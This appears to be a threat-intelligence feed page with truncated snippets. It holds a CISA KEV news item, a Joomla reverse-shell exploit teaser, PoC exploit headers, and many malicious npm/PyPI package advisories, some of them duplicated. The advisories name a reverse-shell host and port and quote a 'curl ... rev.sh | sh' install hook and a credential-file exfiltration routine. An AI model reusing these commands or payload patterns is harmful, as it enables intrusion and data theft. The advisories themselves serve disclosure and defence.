CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners

The U.S. Cybersecurity and Infrastructure Security Agency CISA on Wednesday added seven security flaws to its Known Exploited Vulnerabilities KEV catalog after they landed in attackers' crosshairs. The vulnerabilities are as follows - CVE-2026-83548 CVSS score: 10.0 - A server-side request forger...

CVE-2015-8562

CVE-2015-8562 - Reverse shell Python Exploit: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header: root@kitploit: Fecha de vulnerabilidad: 17/12/2015 Autor del exploit: anarc0der Versión: Joomla 1.5 a 3.4.5 CVE : CVE-2015-8562 Cómo usar: root@kitploit: Abre un terminal y escucha con nc...

MAL-2026-15566 Malicious code in flask-header-guard (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e5e0cbaefa0fcface340b03a236573ed70df9b4d7773715321df057a9862e3f8 The package is presented as Flask security-headers middleware but ships a hostile payload wired to fire at install time and again whenever the librar...

Malicious code in flask-header-guard (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e5e0cbaefa0fcface340b03a236573ed70df9b4d7773715321df057a9862e3f8 The package is presented as Flask security-headers middleware but ships a hostile payload wired to fire at install time and again whenever the librar...

MAL-2026-14587 Malicious code in pygame-renderkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdef1a055b3059d56581d5c0d33538e7799cfde5e42d596eb50094d06d984f54 setup.py registers a custom install command that forks a daemonized child during pip install and executes a base64-encoded Python payload via...

Malicious code in pygame-renderkit (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fdef1a055b3059d56581d5c0d33538e7799cfde5e42d596eb50094d06d984f54 setup.py registers a custom install command that forks a daemonized child during pip install and executes a base64-encoded Python payload via...

Malicious code in hydration-dim-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 16cd04f35f684a64b6abd8178154fc7d1f5a970c76f7d77c45635c1c3bcf0d9b [email protected] presents itself as a calendar-day math utility, but its main entry dist/index.mjs runs at import time: it chmod 0755's...

Malicious code in scrambleeeer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a65599e4b6ca9e8349fbde07e578e53844af217c6eca15dcd6bb99c8a1fa63f Package advertises a trivial string-shuffle utility, but its exported function scrambleeeer opens a TCP socket to bax.h4x.tv:6363, duplicates...

MAL-2026-14358 Malicious code in scrambleeeer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a65599e4b6ca9e8349fbde07e578e53844af217c6eca15dcd6bb99c8a1fa63f Package advertises a trivial string-shuffle utility, but its exported function scrambleeeer opens a TCP socket to bax.h4x.tv:6363, duplicates...

Malicious code in scrambleeer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7eb0e96b324df04d5ecaf0739dec60dcb2367a26def0e713519c51e24ee790df The package advertises a numeric shuffle utility but its sole public function scrambleeer opens a TCP socket to bax.h4x.tv on port 6363, dup2's the...

MAL-2026-14350 Malicious code in scrambleeer (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7eb0e96b324df04d5ecaf0739dec60dcb2367a26def0e713519c51e24ee790df The package advertises a numeric shuffle utility but its sole public function scrambleeer opens a TCP socket to bax.h4x.tv on port 6363, dup2's the...

Malicious code in date-fmt-helper-xz (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b384650ec0fabdd01a7dfc513cccd25156611a04c17ba0c435b950ddb9215777 date-fmt-helper-xz ships a postinstall.js that runs automatically on npm install. The script opens a TCP connection to the hardcoded remote host...

Malicious code in date-fmt-utils-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4ae88f68f30ebd69a595537393ce95c4ce5e543b558572769fa2c608fa1b1b0d The package presents itself as a date-formatting utility, but its index.js is a trivial cover and a source comment explicitly labels the library as a...

Exploit for Insertion of Sensitive Information into Log File in Hitachi Configuration_Manager

FreePBX CVE-2025-57819 Exploit Description This script exp...

Malicious code in joule-btp-extension (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 91439e7a69d936aa8a65b16561f48e9d9abab26fc8e3af4087da8d367cfd2210 On pip install, setup.py runs a collectandexfiltrate routine that reads /private/etc/passwd, /private/etc/hosts, and /private/etc/sudoers; captures...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-23744-PoC Disclaimer: This proof-of-concept...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-23744 – MCPJam Inspector Unauthenticated RCE PoC...

Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

MAL-2026-13483 Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

Malicious code in streak-map-cache (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d6ae48e032b5494c8939d41973598b9dd35d5954ccf6850cd633e7992995cc6b The package advertises itself as a dependency-free day/streak math library, but its main entrypoint dist/index.mjs contains a top-level async IIFE th...